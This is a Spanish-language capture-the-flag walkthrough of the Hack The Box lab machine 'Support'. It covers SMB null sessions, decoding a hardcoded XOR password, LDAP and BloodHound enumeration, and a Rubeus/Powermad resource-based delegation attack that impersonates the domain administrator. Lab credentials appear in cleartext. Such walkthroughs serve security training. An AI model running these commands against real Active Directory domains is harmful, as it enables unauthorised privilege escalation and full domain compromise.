Support HTB Write Up¶

Información del Objetivo¶
IP de la Máquina: 10.10.11.174
1. Reconocimiento Inicial¶
1.1 Escaneo de Puertos¶

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49678,49699 10.10.11.174 -oN targeted

1.2 Acceso con Sesión Nula en SMB¶
Echemos un vistazo al puerto 445. Realicemos un inicio de sesión nulo (null session).

Podemos ver que es exitoso y recupera un recurso compartido llamado support-tools.
Así que veamos qué hay dentro con el siguiente comando.
Tenemos varios archivos, pero necesitamos descargar el que marco.

2. Analizando Archivos Descargados¶
Descomprimámoslo y una vez descomprimido, subiremos estos archivos a un programa llamado ILSpy.
Aquí están los pasos para descargar este programa.
wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
unzip Linux.x64.Release.zip
unzip ILSpy-linux-x64-Release.zip
cd artifacts/linux-x64
sudo ./ILSpy
2.1 Ingeniería Inversa con ILSpy¶

Una vez allí, podemos ver lo siguiente si vamos a LdapQuery. Desde esta captura de pantalla podemos obtener el nombre de usuario, en este caso ldap.

Y si vamos a Protected, podemos ver la contraseña pero está codificada en XOR.

2.2 Descifrando la Contraseña¶
Así que para descifrar esta contraseña, hice este simple script de python3.
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
decoded_bytes = base64.b64decode(enc_password)
result_bytes = bytearray()
for i in range(len(decoded_bytes)):
xor_byte = decoded_bytes[i] ^ key[i % len(key)] ^ 0xDF
result_bytes.append(xor_byte)
password = result_bytes.decode('latin-1')
print("Decoded password:", password)
Y tenemos la contraseña descifrada:

3. Enumeración de LDAP¶
Con esta contraseña, intenté realizar algunas consultas LDAP autenticadas.
Aquí está el comando que usé.
ldapsearch -x -H ldap://10.10.11.174 -D "ldap@support.htb" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "(objectClass=user)"
Y encontré esta contraseña para el usuario support.

4. Validando Acceso a WinRM¶
Luego verifiqué si era un usuario válido de winrm, así que para ello ejecuté el siguiente comando.

Y tenemos la primera flag.

5. Preparación para la Escalada de Privilegios¶
5.1 Enumeración con BloodHound¶
Para la escalada de privilegios, primero ejecuté bloodhound:
bloodhound-python -u 'support' -p 'Ironside47pleasure40Watchful' -d support.htb -c All --zip -ns 10.10.11.174

Y subí los datos a la base de datos.

5.2 Analizando Permisos de Objetos¶
Luego busqué al usuario support y lo marqué como Owned (En posesión), y recuperé su Outbound Object Control. Aquí tenemos GenericAll sobre DC.SUPPORT.HTB, realmente podemos hacer eso porque estamos en SHARED SUPPORT ACCOUNTS.

6. Explotando Permisos GenericAll¶
Para abusar de eso, primero descargué y subí a mi sesión de winrm estos archivos.
6.1 Subiendo Herramientas al Objetivo¶
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 -> PowerView.ps1
https://github.com/Kevin-Robertson/Powermad -> Powermad.ps1
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries -> Rubeus.exe
6.2 Abuso de Cuenta de Máquina y Extracción de Ticket¶
Luego ejecutemos lo siguiente:
. ./PowerView.ps1
. ./Powermad.ps1
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
$ComputerSid = (Get-DomainComputer ATTACKERSYSTEM).objectsid
Get-ADComputer -identity ATTACKERSYSTEM
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
.\Rubeus.exe hash /password:Summer2018! /user:attackersystem$ /domain:support.htb

Aquí tenemos que tomar el rc4_hmac y luego ejecutar este comando:
.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
Esto recuperará tres tickets en base64, así que tenemos que tomar el último.

7. Uso del Ticket y Escalada de Privilegios¶
Luego, en nuestra máquina, ejecutaremos lo siguiente:
7.1 Convirtiendo el Formato del Ticket¶

7.2 Usando el Ticket con Herramientas de Impacket¶
Luego, con este ticket, podemos simplemente iniciar sesión via psexec usando el ticket con el siguiente comando:

Autor: Astro